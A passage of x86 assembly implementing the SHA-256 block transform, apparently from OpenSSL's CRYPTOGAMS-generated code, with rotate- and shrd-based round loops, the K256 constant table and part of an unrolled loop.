push edx
mov eax,DWORD [16+edi]
mov ebx,DWORD [20+edi]
mov ecx,DWORD [24+edi]
bswap eax
mov edx,DWORD [28+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD [32+edi]
mov ebx,DWORD [36+edi]
mov ecx,DWORD [40+edi]
bswap eax
mov edx,DWORD [44+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD [48+edi]
mov ebx,DWORD [52+edi]
mov ecx,DWORD [56+edi]
bswap eax
mov edx,DWORD [60+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
add edi,64
lea esp,[esp-36]
mov DWORD [104+esp],edi
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edi,DWORD [12+esi]
mov DWORD [8+esp],ebx
xor ebx,ecx
mov DWORD [12+esp],ecx
mov DWORD [16+esp],edi
mov DWORD [esp],ebx
mov edx,DWORD [16+esi]
mov ebx,DWORD [20+esi]
mov ecx,DWORD [24+esi]
mov edi,DWORD [28+esi]
mov DWORD [24+esp],ebx
mov DWORD [28+esp],ecx
mov DWORD [32+esp],edi
align 16
L$00300_15:
mov ecx,edx
mov esi,DWORD [24+esp]
ror ecx,14
mov edi,DWORD [28+esp]
xor ecx,edx
xor esi,edi
mov ebx,DWORD [96+esp]
ror ecx,5
and esi,edx
mov DWORD [20+esp],edx
xor edx,ecx
add ebx,DWORD [32+esp]
xor esi,edi
ror edx,6
mov ecx,eax
add ebx,esi
ror ecx,9
add ebx,edx
mov edi,DWORD [8+esp]
xor ecx,eax
mov DWORD [4+esp],eax
lea esp,[esp-4]
ror ecx,11
mov esi,DWORD [ebp]
xor ecx,eax
mov edx,DWORD [20+esp]
xor eax,edi
ror ecx,2
add ebx,esi
mov DWORD [esp],eax
add edx,ebx
and eax,DWORD [4+esp]
add ebx,ecx
xor eax,edi
add ebp,4
add eax,ebx
cmp esi,3248222580
jne NEAR L$00300_15
mov ecx,DWORD [156+esp]
jmp NEAR L$00416_63
align 16
L$00416_63:
mov ebx,ecx
mov esi,DWORD [104+esp]
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [160+esp]
shr edi,10
add ebx,DWORD [124+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [24+esp]
ror ecx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor ecx,edx
xor esi,edi
mov DWORD [96+esp],ebx
ror ecx,5
and esi,edx
mov DWORD [20+esp],edx
xor edx,ecx
add ebx,DWORD [32+esp]
xor esi,edi
ror edx,6
mov ecx,eax
add ebx,esi
ror ecx,9
add ebx,edx
mov edi,DWORD [8+esp]
xor ecx,eax
mov DWORD [4+esp],eax
lea esp,[esp-4]
ror ecx,11
mov esi,DWORD [ebp]
xor ecx,eax
mov edx,DWORD [20+esp]
xor eax,edi
ror ecx,2
add ebx,esi
mov DWORD [esp],eax
add edx,ebx
and eax,DWORD [4+esp]
add ebx,ecx
xor eax,edi
mov ecx,DWORD [156+esp]
add ebp,4
add eax,ebx
cmp esi,3329325298
jne NEAR L$00416_63
mov esi,DWORD [356+esp]
mov ebx,DWORD [8+esp]
mov ecx,DWORD [16+esp]
add eax,DWORD [esi]
add ebx,DWORD [4+esi]
add edi,DWORD [8+esi]
add ecx,DWORD [12+esi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],edi
mov DWORD [12+esi],ecx
mov eax,DWORD [24+esp]
mov ebx,DWORD [28+esp]
mov ecx,DWORD [32+esp]
mov edi,DWORD [360+esp]
add edx,DWORD [16+esi]
add eax,DWORD [20+esi]
add ebx,DWORD [24+esi]
add ecx,DWORD [28+esi]
mov DWORD [16+esi],edx
mov DWORD [20+esi],eax
mov DWORD [24+esi],ebx
mov DWORD [28+esi],ecx
lea esp,[356+esp]
sub ebp,256
cmp edi,DWORD [8+esp]
jb NEAR L$002loop
mov esp,DWORD [12+esp]
pop edi
pop esi
pop ebx
pop ebp
ret
align 32
L$005loop_shrd:
mov eax,DWORD [edi]
mov ebx,DWORD [4+edi]
mov ecx,DWORD [8+edi]
bswap eax
mov edx,DWORD [12+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD [16+edi]
mov ebx,DWORD [20+edi]
mov ecx,DWORD [24+edi]
bswap eax
mov edx,DWORD [28+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD [32+edi]
mov ebx,DWORD [36+edi]
mov ecx,DWORD [40+edi]
bswap eax
mov edx,DWORD [44+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD [48+edi]
mov ebx,DWORD [52+edi]
mov ecx,DWORD [56+edi]
bswap eax
mov edx,DWORD [60+edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
add edi,64
lea esp,[esp-36]
mov DWORD [104+esp],edi
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edi,DWORD [12+esi]
mov DWORD [8+esp],ebx
xor ebx,ecx
mov DWORD [12+esp],ecx
mov DWORD [16+esp],edi
mov DWORD [esp],ebx
mov edx,DWORD [16+esi]
mov ebx,DWORD [20+esi]
mov ecx,DWORD [24+esi]
mov edi,DWORD [28+esi]
mov DWORD [24+esp],ebx
mov DWORD [28+esp],ecx
mov DWORD [32+esp],edi
align 16
L$00600_15_shrd:
mov ecx,edx
mov esi,DWORD [24+esp]
shrd ecx,ecx,14
mov edi,DWORD [28+esp]
xor ecx,edx
xor esi,edi
mov ebx,DWORD [96+esp]
shrd ecx,ecx,5
and esi,edx
mov DWORD [20+esp],edx
xor edx,ecx
add ebx,DWORD [32+esp]
xor esi,edi
shrd edx,edx,6
mov ecx,eax
add ebx,esi
shrd ecx,ecx,9
add ebx,edx
mov edi,DWORD [8+esp]
xor ecx,eax
mov DWORD [4+esp],eax
lea esp,[esp-4]
shrd ecx,ecx,11
mov esi,DWORD [ebp]
xor ecx,eax
mov edx,DWORD [20+esp]
xor eax,edi
shrd ecx,ecx,2
add ebx,esi
mov DWORD [esp],eax
add edx,ebx
and eax,DWORD [4+esp]
add ebx,ecx
xor eax,edi
add ebp,4
add eax,ebx
cmp esi,3248222580
jne NEAR L$00600_15_shrd
mov ecx,DWORD [156+esp]
jmp NEAR L$00716_63_shrd
align 16
L$00716_63_shrd:
mov ebx,ecx
mov esi,DWORD [104+esp]
shrd ecx,ecx,11
mov edi,esi
shrd esi,esi,2
xor ecx,ebx
shr ebx,3
shrd ecx,ecx,7
xor esi,edi
xor ebx,ecx
shrd esi,esi,17
add ebx,DWORD [160+esp]
shr edi,10
add ebx,DWORD [124+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [24+esp]
shrd ecx,ecx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor ecx,edx
xor esi,edi
mov DWORD [96+esp],ebx
shrd ecx,ecx,5
and esi,edx
mov DWORD [20+esp],edx
xor edx,ecx
add ebx,DWORD [32+esp]
xor esi,edi
shrd edx,edx,6
mov ecx,eax
add ebx,esi
shrd ecx,ecx,9
add ebx,edx
mov edi,DWORD [8+esp]
xor ecx,eax
mov DWORD [4+esp],eax
lea esp,[esp-4]
shrd ecx,ecx,11
mov esi,DWORD [ebp]
xor ecx,eax
mov edx,DWORD [20+esp]
xor eax,edi
shrd ecx,ecx,2
add ebx,esi
mov DWORD [esp],eax
add edx,ebx
and eax,DWORD [4+esp]
add ebx,ecx
xor eax,edi
mov ecx,DWORD [156+esp]
add ebp,4
add eax,ebx
cmp esi,3329325298
jne NEAR L$00716_63_shrd
mov esi,DWORD [356+esp]
mov ebx,DWORD [8+esp]
mov ecx,DWORD [16+esp]
add eax,DWORD [esi]
add ebx,DWORD [4+esi]
add edi,DWORD [8+esi]
add ecx,DWORD [12+esi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],edi
mov DWORD [12+esi],ecx
mov eax,DWORD [24+esp]
mov ebx,DWORD [28+esp]
mov ecx,DWORD [32+esp]
mov edi,DWORD [360+esp]
add edx,DWORD [16+esi]
add eax,DWORD [20+esi]
add ebx,DWORD [24+esi]
add ecx,DWORD [28+esi]
mov DWORD [16+esi],edx
mov DWORD [20+esi],eax
mov DWORD [24+esi],ebx
mov DWORD [28+esi],ecx
lea esp,[356+esp]
sub ebp,256
cmp edi,DWORD [8+esp]
jb NEAR L$005loop_shrd
mov esp,DWORD [12+esp]
pop edi
pop esi
pop ebx
pop ebp
ret
align 64
L$001K256:
dd 1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298
dd 66051,67438087,134810123,202182159
db 83,72,65,50,53,54,32,98,108,111,99,107,32,116,114,97
db 110,115,102,111,114,109,32,102,111,114,32,120,56,54,44,32
db 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97
db 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103
db 62,0
align 16
L$008unrolled:
lea esp,[esp-96]
mov eax,DWORD [esi]
mov ebp,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov ebx,DWORD [12+esi]
mov DWORD [4+esp],ebp
xor ebp,ecx
mov DWORD [8+esp],ecx
mov DWORD [12+esp],ebx
mov edx,DWORD [16+esi]
mov ebx,DWORD [20+esi]
mov ecx,DWORD [24+esi]
mov esi,DWORD [28+esi]
mov DWORD [20+esp],ebx
mov DWORD [24+esp],ecx
mov DWORD [28+esp],esi
jmp NEAR L$009grand_loop
align 16
L$009grand_loop:
mov ebx,DWORD [edi]
mov ecx,DWORD [4+edi]
bswap ebx
mov esi,DWORD [8+edi]
bswap ecx
mov DWORD [32+esp],ebx
bswap esi
mov DWORD [36+esp],ecx
mov DWORD [40+esp],esi
mov ebx,DWORD [12+edi]
mov ecx,DWORD [16+edi]
bswap ebx
mov esi,DWORD [20+edi]
bswap ecx
mov DWORD [44+esp],ebx
bswap esi
mov DWORD [48+esp],ecx
mov DWORD [52+esp],esi
mov ebx,DWORD [24+edi]
mov ecx,DWORD [28+edi]
bswap ebx
mov esi,DWORD [32+edi]
bswap ecx
mov DWORD [56+esp],ebx
bswap esi
mov DWORD [60+esp],ecx
mov DWORD [64+esp],esi
mov ebx,DWORD [36+edi]
mov ecx,DWORD [40+edi]
bswap ebx
mov esi,DWORD [44+edi]
bswap ecx
mov DWORD [68+esp],ebx
bswap esi
mov DWORD [72+esp],ecx
mov DWORD [76+esp],esi
mov ebx,DWORD [48+edi]
mov ecx,DWORD [52+edi]
bswap ebx
mov esi,DWORD [56+edi]
bswap ecx
mov DWORD [80+esp],ebx
bswap esi
mov DWORD [84+esp],ecx
mov DWORD [88+esp],esi
mov ebx,DWORD [60+edi]
add edi,64
bswap ebx
mov DWORD [100+esp],edi
mov DWORD [92+esp],ebx
mov ecx,edx
mov esi,DWORD [20+esp]
ror edx,14
mov edi,DWORD [24+esp]
xor edx,ecx
mov ebx,DWORD [32+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1116352408+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [16+esp]
ror edx,14
mov edi,DWORD [20+esp]
xor edx,esi
mov ebx,DWORD [36+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1899447441+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [12+esp]
ror edx,14
mov edi,DWORD [16+esp]
xor edx,ecx
mov ebx,DWORD [40+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3049323471+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [8+esp]
ror edx,14
mov edi,DWORD [12+esp]
xor edx,esi
mov ebx,DWORD [44+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3921009573+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [4+esp]
ror edx,14
mov edi,DWORD [8+esp]
xor edx,ecx
mov ebx,DWORD [48+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[961987163+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [esp]
ror edx,14
mov edi,DWORD [4+esp]
xor edx,esi
mov ebx,DWORD [52+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1508970993+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [28+esp]
ror edx,14
mov edi,DWORD [esp]
xor edx,ecx
mov ebx,DWORD [56+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2453635748+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [24+esp]
ror edx,14
mov edi,DWORD [28+esp]
xor edx,esi
mov ebx,DWORD [60+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2870763221+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [20+esp]
ror edx,14
mov edi,DWORD [24+esp]
xor edx,ecx
mov ebx,DWORD [64+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3624381080+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [16+esp]
ror edx,14
mov edi,DWORD [20+esp]
xor edx,esi
mov ebx,DWORD [68+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[310598401+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [12+esp]
ror edx,14
mov edi,DWORD [16+esp]
xor edx,ecx
mov ebx,DWORD [72+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[607225278+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [8+esp]
ror edx,14
mov edi,DWORD [12+esp]
xor edx,esi
mov ebx,DWORD [76+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1426881987+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [4+esp]
ror edx,14
mov edi,DWORD [8+esp]
xor edx,ecx
mov ebx,DWORD [80+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1925078388+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [esp]
ror edx,14
mov edi,DWORD [4+esp]
xor edx,esi
mov ebx,DWORD [84+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2162078206+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov ecx,edx
mov esi,DWORD [28+esp]
ror edx,14
mov edi,DWORD [esp]
xor edx,ecx
mov ebx,DWORD [88+esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2614888103+edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD [24+esp]
ror edx,14
mov edi,DWORD [28+esp]
xor edx,esi
mov ebx,DWORD [92+esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3248222580+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [36+esp]
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov esi,DWORD [88+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [32+esp]
shr edi,10
add ebx,DWORD [68+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [20+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [24+esp]
xor edx,ecx
mov DWORD [32+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3835390401+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [40+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov ecx,DWORD [92+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [36+esp]
shr edi,10
add ebx,DWORD [72+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [16+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [20+esp]
xor edx,esi
mov DWORD [36+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[4022224774+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [44+esp]
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov esi,DWORD [32+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [40+esp]
shr edi,10
add ebx,DWORD [76+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [12+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [16+esp]
xor edx,ecx
mov DWORD [40+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[264347078+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [48+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov ecx,DWORD [36+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [44+esp]
shr edi,10
add ebx,DWORD [80+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [8+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [12+esp]
xor edx,esi
mov DWORD [44+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[604807628+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [52+esp]
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov esi,DWORD [40+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [48+esp]
shr edi,10
add ebx,DWORD [84+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [4+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [8+esp]
xor edx,ecx
mov DWORD [48+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[770255983+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [56+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov ecx,DWORD [44+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [52+esp]
shr edi,10
add ebx,DWORD [88+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [esp]
ror edx,14
add ebx,edi
mov edi,DWORD [4+esp]
xor edx,esi
mov DWORD [52+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1249150122+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [60+esp]
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov esi,DWORD [48+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [56+esp]
shr edi,10
add ebx,DWORD [92+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [28+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [esp]
xor edx,ecx
mov DWORD [56+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1555081692+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [64+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov ecx,DWORD [52+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [60+esp]
shr edi,10
add ebx,DWORD [32+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [24+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor edx,esi
mov DWORD [60+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1996064986+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [68+esp]
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
